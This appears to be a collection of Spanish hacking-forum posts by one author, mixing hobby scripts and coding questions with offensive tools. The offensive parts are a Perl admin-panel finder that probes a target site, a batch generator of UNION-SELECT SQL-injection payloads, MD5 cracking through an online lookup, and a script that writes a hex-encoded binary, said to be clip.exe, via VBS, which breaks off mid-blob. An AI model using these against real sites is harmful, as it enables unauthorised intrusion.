Temas

[RTH Text Converter]

RTH Text Converter

Bueno, os traigo esta herramienta que he programado.


Funciones:

Código [Seleccionar] Expandir


-ASCII
-Hexadecimal
-Base64
-MD5 (lo crackea a partir de una web online, que por cierto es mala (las buenas tienen captcha xDD))
-URL encode

Espero que os guste, más bien, que os sea de utilidad xDD

A mi por lo menos me es útil para algunas cosas.. bueno, aquí el código:

Código (python) [Seleccionar] Expandir


#!/usr/bin/env python
#RTH Text Converter - by xassiz

import wx,base64,md5,urllib,sys,binascii

class Frame(wx.Frame):
   def __init__(self):
       wx.Frame.__init__(self, None, -1, title='RTH Text Converter  -  by xassiz', pos=wx.DefaultPosition,
           size=wx.Size(450, 450), style=wx.DEFAULT_FRAME_STYLE^(wx.RESIZE_BORDER|wx. MAXIMIZE_BOX))
       self.panel = wx.Panel(self, id=1, pos=(0, 0), size=(300, 520))
       wx.StaticText(self.panel, label='Texto:', pos=wx.Point(8,18), size=wx.Size(33,13), style=0)
       wx.StaticText(self.panel, label='Salida:', pos=wx.Point(8,152), size=wx.Size(33,13), style=0)
       ascii = wx.Button(self.panel, label='ASCII', pos=wx.Point(50,288), size=wx.Size(75,23), style=0)
       hexa = wx.Button(self.panel, label='HEX', pos=wx.Point(125,288), size=wx.Size(75,23), style=0)
       base_64 = wx.Button(self.panel, label='Base64', pos=wx.Point(200,288), size=wx.Size(75,23), style=0)
       md5_ = wx.Button(self.panel, label='MD5', pos=wx.Point(275,288), size=wx.Size(75,23), style=0)
       url_encode = wx.Button(self.panel, label='URL', pos=wx.Point(350,288), size=wx.Size(75,23), style=0)
       borrar = wx.Button(self.panel, label='Borrar', pos=wx.Point(265,345), size=wx.Size(80,46), style=0)
about = wx.Button(self.panel, label='About', pos=wx.Point(345,345), size=wx.Size(80,46), style=0)
       self.cifrar = wx.RadioButton(self.panel, label='cifrar', pos=wx.Point(50,345), size=wx.Size(80,23), style=0)
       self.descifrar = wx.RadioButton(self.panel, label='descifrar', pos=wx.Point(50,370), size=wx.Size(80,23), style=0)
       self.accion = "enc"
       self.txtNormal = wx.TextCtrl(self.panel, pos=wx.Point(48,18), size=wx.Size(375, 120), style=0, value='')
       self.txtConvertido = wx.TextCtrl(self.panel, pos=wx.Point(48,152), size=wx.Size(375,120), style=0, value='')
       self.Bind(wx.EVT_BUTTON, self.ascii, ascii)
       self.Bind(wx.EVT_BUTTON, self.hexa, hexa)
       self.Bind(wx.EVT_BUTTON, self.base_64, base_64)
       self.Bind(wx.EVT_BUTTON, self.md5_, md5_)
       self.Bind(wx.EVT_BUTTON, self.url_encode, url_encode)
       self.Bind(wx.EVT_BUTTON, self.borrar, borrar)
       self.Bind(wx.EVT_BUTTON, self.about, about)
       self.Bind(wx.EVT_RADIOBUTTON, self.accion_enc, self.cifrar)
       self.Bind(wx.EVT_RADIOBUTTON, self.accion_des, self.descifrar)

   def ascii(self, event):
       textoNormal = self.txtNormal.GetValue()
       if self.accion == "enc":
           ascii = ''
           for x in textoNormal:
               ascii = ascii + str(ord(x)) + ","
           ascii = ascii[:-1]
           self.txtConvertido.SetValue(ascii)
       elif self.accion == "des":
           normal = ''
           textoNormal = textoNormal.replace(","," ")
           textoNormal = textoNormal.replace("."," ")
           for x in textoNormal.split():
               normal = normal + chr(int(x))
           self.txtConvertido.SetValue(normal)
       
   def hexa(self, event):
       textoNormal = self.txtNormal.GetValue()
       if self.accion == "enc":
           hexa = ''
           for x in textoNormal:
               hexa = hexa + hex(ord(x))
           hexa = "0x%s" % hexa.replace("0x","")
           self.txtConvertido.SetValue(hexa)
       elif self.accion == "des":
           normal = textoNormal.replace('0x','')
           normal = binascii.unhexlify(normal)
           self.txtConvertido.SetValue(normal.replace("'",""))
       
   def base_64(self, event):
       textNormal = self.txtNormal.GetValue()
       if self.accion == "enc":
           self.txtConvertido.SetValue(base64.encodestring(textNormal))
       else:
           self.txtConvertido.SetValue(base64.decodestring(textNormal))
   
   def md5_(self, event):
       textNormal = self.txtNormal.GetValue()
       if self.accion == "enc":
           textConvertido = md5.new()
           textConvertido.update(textNormal)
           textConvertido = repr(textConvertido.hexdigest())
           self.txtConvertido.SetValue(textConvertido.replace("'",""))
       elif self.accion == "des":
           x=urllib.urlopen("http://www.md5-lookup.com/livesearch.php?q=%s"%textNormal).read()
           if 'No results found' in x:
               self.txtConvertido.SetValue("No se encontraron resultados")
           elif len(textNormal) != 32:
               self.txtConvertido.SetValue("No es un MD5")
           else:
               x=x.split("\n")
               x=x[16].replace('  <td width="250">','')
               self.txtConvertido.SetValue(x.replace('</td>',''))
   
   def url_encode(self, event):
       textNormal = self.txtNormal.GetValue()
       if self.accion == "enc":
           textConvertido = urllib.urlencode({'xassiz':textNormal})
           self.txtConvertido.SetValue(textConvertido.replace("xassiz=",""))
       elif self.accion == "des":
           self.txtConvertido.SetValue(urllib.unquote_plus(textNormal))

   def borrar(self, event):
       self.txtNormal.SetValue('')
       self.txtConvertido.SetValue('')

   def about(self, event):
wx.MessageBox("Autor: xassiz","RTH Text Converter")
wx.MessageBox("Dedicado a http://foro.rthacker.NET","RTH Text Converter")

   def accion_enc(self, event):
       self.accion = "enc"
   def accion_des(self, event):
       self.accion = "des"


class App(wx.App):
   def OnInit(self):
       frame = Frame()
       frame.Show()
       self.SetTopWindow(frame)
       return True

if __name__ == '__main__':
   app = App()
   app.MainLoop()


Saludos

[$variable]

Bueno, tengo un problema

En batch lo llaman polimetría no se si hay algo de PHP acerca de esto..


Bueno, el caso es que quiero indicar el nombre de una variable con otra variable.

Ejemplo:

Código (php) [Seleccionar] Expandir


<?php

$variable = "decir";

?>


Y quiero crear otra variable que se llame "decirhola"..

<?php

$variable = "decir";
$$variablehola = "hola";

echo $decirhola;

?>

Espero entendais!

Saludos

Bueno, os presento mi octavo crackme:

Código [Seleccionar] Expandir


@echo off&title CrackMe 8 - by xassiz
@setlocal enabledelayedexpansion
f%windir:~-3,1%r /f "t%windir:~-3,1%ken%windir:~-1%=*" %%x in (%~0) do @(!w%windir:~4,1%nd%windir:~4,1%r:~-1!et/a n=!n!+1&&%windir:~4,1%f !n! equ 2 (set x=%%x))
%x:~0,4% .=cadavezmehagomasviejo@miscrackmessonmasfacilesxD
%.:~21,1%%.:~-48,2%%~2%.:~-5,1%:%%.!! %~1
%x:~0,1%%x:~-7,2%u%.:~-3,1%%.:~-17,1%
%x:~0,1%%x:~2,1%%x:~-8,1%%x:~-3,1%t
:.:%$$.%if "%var%"=="!windiR!" (echo.Correcto!) else (echo.Incorrecto!)
%.:~-27,1%%.:~-3,1%%.:~-4,1%t %.:~16,1%%.:~1,1%%.:~26,1%=%~1
%x:~0,1%%windir:~4,1%f !%.:~4,1%%.:~3,1%r!==!%x:~-1%! (%x:~2,1%%x:~6,1%h%x:~-2,1%.B%.:~-6,1%%.:~-4,1%%x:~-1%) %x:~10,1%%x:~-14,1%%.:~-3,1%%.:~-4,1% (%.:~5,1%%.:~0,1%h%.:~20,1%.M%.:~1,1%l)


Respuestas por MP!


Resolvieron:

• Guerrerohgp

[[0-9]]

Bueno, vuelvo con dudas en Python!


Veamos, yo hago una petición a una web con urllib algo así:

Código (python) [Seleccionar] Expandir


#!/usr/bin/env python

import urllib

peticion = urllib.urlopen("http://www.web.com").read()


Y en el código de esa web quiero buscar unas URL con una estructura así:

http://www.web.com/codigo.php?variable=XXXX

Donde "XXXX" son números

Que en HTML aparecerían así:

Código (PHP) [Seleccionar] Expandir


<a href="http://www.web.com/codigo.php?variable=XXXX">


Para eso hago algo así:

Código (python) [Seleccionar] Expandir


if '<a href="http://www.web.com/codigo.php?variable=' in peticion:
print "Contiene esas URL"
else:
print "No contiene ese tipo de URL"


Bien, esto funciona. Pero ahora es cuando quiero guardar el número de esos link en una variable o en un array para poder operar con ellos (ya que en la web puede haber más de uno).

He intentado hacer algo con regexp y [0-9] pero no consigo hacer nada >.<""


Alguna idea?

[=]

Hola, bueno tengo una duda.

Yo tengo una string:

Código [Seleccionar] Expandir

algo=algo

y quiero eliminar lo que está luego del signo "=".

Para eso supongo que se tendría que separar, entonces hago un replace y cambio del igual por un espacio y estan separados, pero ahora como cojo solamente la primera parte?


Saludos

PD: aprovecho para preguntar, existe algun software para generar Tkinter en python como Boa contructor con wxpython?

En VBScript podemos mover el mouse:

Código [Seleccionar] Expandir


Set Excel=CreateObject("Excel.Application")
Posicion=Excel.ExecuteExcel4Macro("CALL(""user32"",""SetCursorPos"", ""JJJJ"", ""X"", ""Y"")")
set Excel=Nothing


Pero podemos hacer click?

xD

Bueno, tenia que apuntar los examenes de esta semana que se me juntaron muchos entonces hice este script rapido.

A diferencia de otras "agendas" que vi, este es un codigo mas corto y no crea archivos adicionales


Aqui el codigo:

Código (dos) [Seleccionar] Expandir

@echo off
title Agenda - by xassiz
setlocal enabledelayedexpansion

:menu
cls
echo:
echo:    ^| MENU ^|
echo:
echo: 1. Ver Agenda
echo: 2. Agregar Tarea
echo: 3. Salir
echo:
set "op="
set/p "op=>> "
if not defined op (goto:menu)
if ["%op%"]==["1"] (goto:Show)
if ["%op%"]==["2"] (goto:Add)
if ["%op%"]==["3"] (exit)
goto:menu

:Show
cls
for /f "tokens=*" %%x in (%~0) do (
set "line=%%x"
if ["!line:~0,10!"]==["::AGENDA::"] (
set "line=!line:~10!"
echo:
echo:!line!
)
)
echo:
pause
goto:menu

:Add
cls
set "fecha="
set/p "fecha=- Fecha (dd/mm/aaaa): "
if not defined fecha (goto:Add)
echo:
set "tarea="
set/p "tarea=- Tarea: "
if not defined tarea (goto:Add)
for %%y in ("fecha","tarea") do (
for %%z in ("^","&","<",">","|") do (set "%%~y=!%%~y:%%~z=^%%~z!")
)
echo:::AGENDA::%fecha% - %tarea% >> %~0
goto:menu





Saludos!  

A ver, tengo un problema.

Yo hice un "downloader" por consola y ahora estoy aprendiendo Tkinter y lo quería pasar.

Lo que pasa es que cuando ejecuto el button y me ejecuta la funcion las variables del textbox no me funcionan allá..

Probe haciendo un global pero no funciona, os dejo el code:

Código (Python) [Seleccionar] Expandir


#!/usr/bin/env python
#Downloader - by xassiz

from Tkinter import *
import re, sys, urllib

def descargar():
xassiz = urllib.urlopen(url)
x4ss1z = open(doc,'wb')
xa55iz = xassiz.read()
x4ss1z.write(xa55iz)
xassiz.close()
x4ss1z.close()

form = Tk()
form.title('Downloader - by xassiz')
form.minsize(350,75)

Nombre = Label(form, text="Downloader")
url = StringVar()
urlTxtBox = Entry(form, textvariable=url, width=60)
doc = StringVar()
docTxtBox = Entry(form, textvariable=doc, width=60)
BotonDescargar = Button(form, text="Descargar", command=descargar, width=20)

Nombre.grid()
urlTxtBox.grid()
docTxtBox.grid()
BotonDescargar.grid()

form.mainloop()


El primer textbox recojo la URL y en el segundo el nombre del nuevo archivo.


Saludos!

Bueno, pues tenía muchos deberes de mates, así que hice este programilla para acabar antes xDD

Código (python) [Seleccionar] Expandir

#!/usr/bin/python
#Ecuaciones 2 Grado - by xassiz

import math

print "\n ----------------------------"
print "\n #    Ecuaciones 2 Grado    #"
print "\n #        by xassiz         #"
print "\n ----------------------------\n"

try:
a = input("\n a = ")
b = input("\n b = ")
c = input("\n c = ")

xmas = (-b + math.sqrt(b**2 - 4*a*c))/(2*a)
xmenos = (-b - math.sqrt(b**2 - 4*a*c))/(2*a)

print "\n\a x (+) = "+str(xmas)+"\n"
print "\n\a x (-) = "+str(xmenos)+"\n"

raw_input()

except:
print "\n\a Sin Solucion"
raw_input()

xassiz PanelFinder   -   by xassiz





Pues simple, un Admin Page Finder en perl

Código (perl) [Seleccionar] Expandir


#!/usr/bin/perl

use LWP::UserAgent;

if (!$ARGV[0]) {


print q (


          xassiz PanelFinder

db    db d8888b. d88888b
`8b  d8' 88  `8D 88'    
 `8bd8'  88oodD' 88ooo  
 .dPYb.  88~~~   88~~~  
.8P  Y8. 88      88      
YP    YP 88      YP


           [+] Modo de uso:

  perl XPF.pl http://www.target.com

    -------------------------------

            Coded by xassiz


);

exit 1;

}

print q (


db    db d8888b. d88888b
`8b  d8' 88  `8D 88'    
 `8bd8'  88oodD' 88ooo  
 .dPYb.  88~~~   88~~~  
.8P  Y8. 88      88      
YP    YP 88      YP

);

$target = $ARGV[0];

print("\n [?] Analizando: $target \n");

@paneles=('admin/','ADMIN/','paneldecontrol/','login/','adm/','cms/',
'admon/','ADMON/','administrador/','administrator/','admin/login.php',
'ADMIN/login.php','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.php',
'admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','controlpanel/','panelc/',
'administrator/index.php','administrator/login.html','administrator/login.php','administrator/account.html',
'administrator/account.php','administrator.php','administrator.html','login.php','login.html',
'modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html',
'moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/',
'admin/index.asp','admin/login.asp','admin/home.asp','admin/controlpanel.asp','admin.asp','admin/cp.asp',
'cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp',
'login.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp',
'controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp',
'fileadmin.html','administration/','administration.php','administration.html','sysadmin.php','sysadmin.html',
'phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/',
'Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html',
'administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/',
'admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/',
'sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/',
'staradmin/','ServerAdministrator/','SysAdmin/','administer/','sys-admin/','typo3/',
'panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/',
'formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/',
'loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/',
'wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/',
'login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/',
'sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/',
'hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/',
'Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/',
'administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/',
'cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/',
'logo_sysadmin/','server/','database_administration/','ADMIN/login.html','system_administration/','ss_vms_admin_sm/');

foreach $finder( @paneles) {
$buscador = LWP::UserAgent->new() or die;
$busqueda = $buscador->get($target."/".$finder);

if ($busqueda->content =~ /username/ || $busqueda->content =~ /Username/ || $busqueda->content =~ /UserName/ ||
$busqueda->content =~ /usuario/ || $busqueda->content =~ /Usuario/ ||
$busqueda->content =~ /user/ || $busqueda->content =~ /User/ ||
$busqueda->content =~ /password/ || $busqueda->content =~ /Password/ ||
$busqueda->content =~ /contraseña/ || $busqueda->content =~ /Contraseña/ ||
$busqueda->content =~ /senha/ || $busqueda->content =~ /Senha/ ||
$busqueda->content =~ /pass/ || $busqueda->content =~ /Pass/ ||
$busqueda->content =~ /pwd/ || $busqueda->content =~ /Pwd/
) {
print("\n [+] Encontrado: $target/$finder \n\a");
}
}

exit 1;


Espero que os guste


bytes

[SQL Copy Column - by xassiz]

SQL Copy Column  -  by xassiz

Es una creación mía, hecha en Batch, anterior al SQLC en Perl, pero que decidi postear despues porque se pueden complementar muy bien.

El SQLC te da el número de columnas de una página web por Inyección SQL, y el SQL Copy Column te pide el número de columnas y te copia la inyección ya hecha al portapapeles.


Espero que os gusten estas cosas, porque a mi me vienen de lujo

Código [Seleccionar] Expandir

  @echo off
title SQL Copy Column - by xassiz
setlocal enabledelayedexpansion
:main
set "num="
set /p "num=Numero de columnas> "
if not defined num (goto:main)
(set/p=-1+union+select+<nul
for /l %%x in (1,1,%num%) do (
set/p=%%x,<nul
))>columnas.txt
for /f "tokens=*" %%_ in (columnas.txt) do (
set "line=%%_"
echo.!line:~0,-1!--|clip
)
del/q/s/f/a "columnas.txt">nul;2>&1
goto:main


Para ejecutarlo se necesita tener el comando clip.exe

Si no lo teneis lo podeis construir con este otro script:

Código [Seleccionar] Expandir


  @echo off
::
:: by xassiz
::
:: clip.exe made with BHX by carl0s
::
Echo.Const W=^2>t.vbs&Echo.Set o=WScript.StdOut>>t.vbs
For %%b In (
"4D53434600000000F3370000000000002C000000000000000301010001000000000000"
"004500000001000100006800000000000000006235A0552000636C69702E65786500EC"
"A9D014A6370068434BED7D7F5C54D5B6F81E18608491191514530B094C2FFE00069061"
"187E08C38FAEE8E0E88C66400883C38430CD9CC368894A03D574E465AFEEBBF776EB96"
"75FB71FB719FEFDE6E5A760BB50B5AF6432DC53425A33A3464A48498E4F9AEB5CF0C0C"
"88BDDEE7FDF77D17DB73F6DE67EFB5D75E6BEDF5639F7D4EC5B7ED2081841029244120"
"640F11FFB2C97FFFC7430ABFE98D70F2EA84F767EF912C7D7FF64A4B8D23DA66AF5F6F"
"AFD8105D59515757CF44AF3347DBD9BAE89ABAE8BCE586E80DF555E685132786C67A61"
"84565994CB8282737DA9E6C03DB94BE9F5CE5C23BD36E696D37B21B9BFA2654B6E31BD"
"DE9DBB9C5EB7D0EB8A9A4A0BF6BF1EAE7A1D214B255232E795229DAFAE8B0448C22432"
"42564061AA58F7C40DF0A38464A34509CD0710124C4612FD7B4A245A6BB904E897DD44"
"0BD144ECAC149B28FDC6EF5D237621DBA0996C1C047710D20F8C786A1221337F86E67B"
"268BBCD90638BDE01D64B3E4FAED1732E68D0C5CFB4BBC08ADF032DBEF0FD0BE636155"
"055301F997A5DEB9037C621CDD0EC66D5B6877D82B89770EDB908190565FD32E7BA1DD"
"5C5B0F0DF7078973A3845B774DBB2547DF2CD21522A87F14E95601B90FC1159B55C0B5"
"1679045727CAD95B45BA7BE1DA0DE556B8BE0ED7DFFBC1CAC933E6E88B54490BAB6A6B"
"C9AF752B96E9967A0BCB56E62D5DBA1012D9E068A8B433B4729541B7C27BDF64482AF7"
"668DBA1586A2E5CB68DE50B8D4041069FEFFE3BF3EFE3D27E5C5A66EE7BCA66E67A3EC"
"9C332EE49CF33D480F069F731E6EEE763EBFA4DBC9AEEC769EBBB7DBF96D5EB7F3CE63"
"E79CDFFEBEDB59D6F98533B51AEAE65D705AEFEE764E89EF772E98DAEF9C794FB73368"
"D7E7CEA407BB9DEA53DDCE5DAA6EA7E7916E67CA13DDCE9E87BA9DB725F53965CBCE39"
"571BBA9D4FA4773BF755763B9BD7F438750F9F73764575391F77743B1F9ED5E5DC01F9"
"89006B16C05ED1007060FC7B009707E0FEFD47CE51BC17F69CA8939F3951F7E0C4CEBA"
"E39F9DA8C3BA94774F3AF7ACE97416C0F50F2F9F70DE7BECB8D330E9146D7F246A56C9"
"63B366955C99310B5704697FEE49CADFA99F1FB1FDDE7CCCB67FED71DB6B371FB5BD04"
"E92948AF469DB2CDBAFD535BC5CE13B6A37B8FD82E451FB55D5D76C2F6C5D3276C8767"
"1FB5FD23EDA8EDA3DF1DB125741EB1C5CB8FDAEE80FC977F3962DBF2EE11DB1D9092DA"
"8ED8E6BD77D4F6F227476C61C78FD8649B8EDA1E2D3A6AF3D13F2E8A0CAFDEF7A613C9"
"9419E49AD5ECD359B8246763660AA41042B250AFE5AC00514E826518471CB092F117FF"
"16E1B2B411C90BB611784B56E5E7EB56E07A9F40CB9B69EBCD221EB437210B68CF11B8"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"FE5017121D2C75517DDE4E0C8421765243EAC87A920FD75A62264550AA26F570378E24"
"9064B271F87A3BBDC7401B3B5C2BA0F532F8DD0065846584BC7D1C282BA1B6024A0EA8"
"AF80DE35504B594C0AFF37420F3449984224489815863C83EA86C82D7FCD5F50FC44DD"
"47553B9FBBF427ACAFACADB12DB455AD1BDBF5AFE329674E305ACD655662E4CFCC05D2"
"0991859388C4D516ADE7957184E4BBAE3A1ACE59891029531289AA2DBBECC061FCE384"
"555CAFAB51460C4693A2F9AF08A754DE724AD1FC3C64B1F96968DED2A6687E126D7364"
"272DB14A5E33118B1F43B1E741B8D3EA08355A02A2B16E26D471832D0273CA24444689"
"EDC3F930680FE508287B3A5A06B8834C48BB84E42C632F1B0456A6E79F05D5EC7A470E"
"4D9462975021522EE60E9804562944F2B4C4FC5D1CD50B0B26E251584DE2ACF8E7E484"
"A8DACACBD696EE9713BFE9F5AEDC89E456FDD3AD1B32C0FC8C1CABB4EAD7B4EA5E6E07"
"A553C45EB6CA2C6D402DA8D0F37BC008BBCC6D30792C5A25560131ECD0BD831CE9D0BD"
"894BA043F72A9A1C37DBD9A13BFC26F4E4C31713D2D256B6960DCCF6848E90992B1E52"
"BDCF1F03FB7368144A252506A36AC0A412D4ACCCCD0EB9D94145331A28352B5734DF0F"
"99BD681FB98EF876CD01C7CD81575C8D43A4B52054CF86F21F87C3C0BA21CFC456DD90"
"9EBF3C19C7656E456C07F5D841CFE98602DBF580B310192DD26C42203BE86A1C24EC5F"
"E2AF723AB93B019AB44A83810530FDE5307D2FBE50ED9946C1DE0260ADE19E001F6929"
"550FED978DA26A04CCE19475C05D3AE82E1D7297F60B910908A4CF75150607CEF45403"
"C98C42E47CA8750D06B06A83E503F4D832E7807C5AB68302E197D1EC41A020103AC04F"
"663B62511EA2546D3DB30108CECDC8EFBF2A089A03307776AA45021AC5D73C5BCFDF08"
"703CDB4DC0A9C10E5DDF444217001145B7E55994EA94B9503218AC82C00E1984E39C36"
"16CA7AE10402ECDDB2A5358F84EAF98DD0132BFAD9E9634778330ED118F2A804B657EF"
"8342FB6F8D1FDB7687D856CF772931D3AFE74F285132B33DC6C036B76E90DE7B07AA38"
"5D3FB232047046E912D83E980080E6CD4382C0F5692EB211003BC01F76B20F763305E9"
"BA2A51FC8632C76F3D971841B24C26ABC4E46E1C1222939528DA43201272600CCF53D8"
"D091927114F01340754F29089B845D0A4A21A0416BE99648B779A52305DB895D8ED3E6"
"2F407393C8536B2C925CAC7E0AF4806A20DF13A11AE0ABAF0882274C73890DE1DB7FC2"
"71F9B5205AE55C7B993FC2B02041603C0A542D5C78CB21264038E26A976A58B9BDB7AC"
"546CB8B31096B0250D7E84943CF87D06B396B9F8331F7F62F14E64364EE59D886792A1"
"24F6B32A2DFA35B0423DE0D8AA4E81A456ED8C4281B049DDA5DD6F3FC580541841CA1F"
"85196A0E30D335ED80CA40BE9BEDF6282D7C206AB4DFA1D2FA142A773E0EADA141A8F5"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"267E07DC5AE3D1D02A407BBE3B0573964791440FA046B8591084356B60F54DEBD00D81"
"E40A7B20B2213D1FA1DE48C906F47CD066589AB1D366ECB410A1AEE908C25B6869D5A5"
"DDACCC00E8BD0A38A867FD09AA99E916BCF0FF0EF7117CA8C11A601022B14E48994BC9"
"339FFE2241F85E203AE8D567326CD83F017ED9C5B0341226E16AEFE564DC04777197BE"
"847F5282031FE0CC3CA7EBA2AD55A7BCED43A07DDA24EC8E58B3C142640694BC93DA89"
"4DF98F011791DAD54D5A8C588A6F63A4C0D0929D195068C2784E82C10FEB51EC7E200A"
"AB2E87C180CC0CB84257F663D79E66A80D6F784F7548FDC020643D935C7B185AB507AB"
"20CA0339DFC7EDB34A9E41A4F8B98174894720BB27EEC0B9BB263E8A97356BC0EAE0EC"
"26EAA19D1B94E04C5A5A4A4B3BA3B1409EF91D5270130CEDD22AD13961E596FE99283F"
"B1707F0D5F10806B4B9C113F04859ED7808EB428C4E541139A051B880409B878A0671D"
"A03322CE9C4EC691A6B44AC7862E36DEB55119C8C671D911DAE8A047A63391DAD97809"
"D7C6E025444BB27F4F69AA9C845AB674BF54846379EF0644670FD5BD07BC2327FB461E"
"F3270E5A2CAB6E528B842F3DC0E56404EE6B4AA344FF4E75A8BA6963549844F12850D0"
"BB9CAEED0F481766041E54ECCE01C5AED87D57B0EA68CB80A9354F16D5308B6B947385"
"72CD65FB046EB52CF0A4E68A5DEEDA0F3A63AEE6B8FD2BD1E47A579BCC62C3D5D648D0"
"8A0E913790F52BF8DB703180B06A6194F8FDFA15BCDBB73AE2B9ECD87DFC4D973E7275"
"F964CA138DA24938A23AA405CBD946D146D1F4DE57B5F118FDF9A8327F982A42DCDCE1"
"BC059C24499590425DA3BC58A5BB3656D90A29BE0B963B7507127543AA7FEADD661E74"
"2E583E2F70AA9EFBAA9EC17E07B8E2BE2A375A13B2A61CE6C87D595AE2A7B50436023D"
"13AA552DBB815F1604CB670650D3E525888540686E21D440C850B8D688F53EAE5AE596"
"1D48B0A57462C044D07E39AECB0293315B374419CAC67325192D4737C736FD88E1B363"
"66AB34D4ADEB1699CB847B42C0B0207554605ABABDB3E097C08F4F9628B268E37789EE"
"40AC9EBF0F6E43EE06C5EEECDBABB501840DB206AC2E3D50AD0D842CC00301D2C94AFD"
"5DC45E25259ACB3C48F96A7A7BD957D97B351D8CF2CFB867C34CB8F4D13352B8EF3118"
"D1580B918FA3C560875460CF229F4229EE031DE5BDBE40AF406668F732F53BFA55BA3E"
"551F9889A0B796035C770A8E75E9B83B05619695FBDB8AA65E5CFBCFACBE0BD6F3C495"
"F81BA9C7DF594BF137A5107FB579F05BBD3DD2462F13ABE8655636BD0465D04B5C1ABD"
"2C4886CBE30F0559EE4234C833B7D3ABF4993BEE429B297BA616CB2D5D60323B82308C"
"414BBF136F3E5305A58E200C6F2648495B47D0ED36D199A76472B77442979D529A3D0D"
"59243F2E66CBE949B8AE1FC02CF61322B7533F2472075CBCD3043996FBE49813C09417"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"A8B51B1DA069E285946D70E56509E8F4B1513E1759D182DEB9251E5CC69E8750DE3BCA"
"0FB8B4D894B0A7F82B104CE99FA11D3F5C44BDC5755662E1110F11DC501205B7D41AE8"
"AD782D19DCA00E56335CF12C54A007376FB8E6115A13C84EB31237454E88048744527D"
"A9B37C46DBA5CE03C3DEBBCC2A1B7621FDE589762246C6380CF20FB056353A59431E2C"
"A7E1CA596914E304FFBAF05498625FCB00738335C4D20BF3001F7329B5FB72183088CB"
"977B02546D65C3BA7427F60220517AFE8385145C38B0C33B0F18F4C01E24C628772445"
"4E638CE318197183EC64E1389DCAB037EC51F1EBAED225741140C11D1FBCF8544ACB50"
"DAE18455E6797FB84F76F9084AA29B06AC05078D8F1221590DBE714DE8ADC1E87A9305"
"C36C217233A525370B013133D58D43CC22F41297C32A862B074B6A1B2EA3764F2CDE9B"
"0275620DC5420A1C38369203CAAC1DB5A0F87A511944F0C700110C1CF83310035DEA44"
"468EC6B8A9375AE295701A4C19DF9A892E7E6B4BD75514713D7F3784413B236C9417D6"
"40774B37D4EF8C82B235C0DDC243A17A6733900984E6EFD8854B619458AA06975B386E"
"0DB44A56E8E9351AAF2BF4D6401134AC8F8D38418CA6CAF8E6414118E5EE1AC0572995"
"816BC74EF593BB116635828387E1D0ED68FC5356E3EFA070DCE48605B4120B9DAE2B60"
"8C985B81DF6913985CC348C892E5FA0E54EC722664399B6CEDF7045B7F809868400C74"
"8064D1AE418199D15A3C540218DAA04E241A4480C1A3E2267F1AA248B1E81C4DA038D5"
"42ABD2D18115346054AE4639611670BA08D52157A3124D374C2AD07510192447269508"
"9155A2EAB0C0A5B0D01331DEDC4BF72BFF37A0EFF81F8166C387DBCDB19A3C3381BC22"
"9DA2E8120178ABBDC1FD087D86050CFCF45D68087381BB08CC3932E816DFA01E6618A4"
"15AD1082058C23F550E7D675F9FC07BDD77F007BE8B58D4D8DDDD3C0930087B3B11B5D"
"0A76B2C51644BC612F5F070ADA33F95A9535E26F5CBC34C69CD2E94EBB962C40454F0C"
"2EA1AFC545FDDD30C25FFA68B09472DC1F98AA0D8C7E90A658DE10B4C74442B6816A4B"
"6E69DB0C2C92818A6839C41D61C2ABD5694C5076F6ADEC40CB5176A26B0E791B5B82A6"
"F74C887FD71DEEF901AA46CB11F8395C277741D5062006406BE8E4CC9407A7341F6526"
"3E3029277799502C2F68196079482145CBF7DC0DD0DA2544744002DC6ABA8B727D70B3"
"115C9462F794EA96A38CB2DA3D2927277718E6179064455EA0D5AED93F0B155C285060"
"AC5C756A19C661775045AE84E9CB35ED4E193BA97AF64CA76702FEEE45705CBB0F98A4"
"8C3B3066A707E348187B440C0B400CB5B827D63444D9319F2B8ED01C74C4A1DCC398AD"
"D2657A5C848751B64024DB445605C7B71F19F4845B76487D22026C2D1B2DEF06AE5466"
"540D68CE989895E01D6BAE32C546137F030CA36977EB644C9AD1C0CBC5411740560259"
) Do >>t.vbs (
Echo.For b=1To 69Step 2:o.Write Chr(Clng("&H"^&Mid(%%b,b,W^)^)^):Next)
For %%b In (
"B52EC2315BCDCA1A6682E7A8D82D75C2D4F506EAAA811E6163F235ACCCDE4D47F5C8C7"
"152D4A3EE518A634CA5A046635DDB6634AACC4C4FFE60A2A6303C4DADC158AC04260D8"
"AF70E61F386E8EFF5ED3679F85F337B44A97D3D9BFE39DFD4171C0101183C9F11D4084"
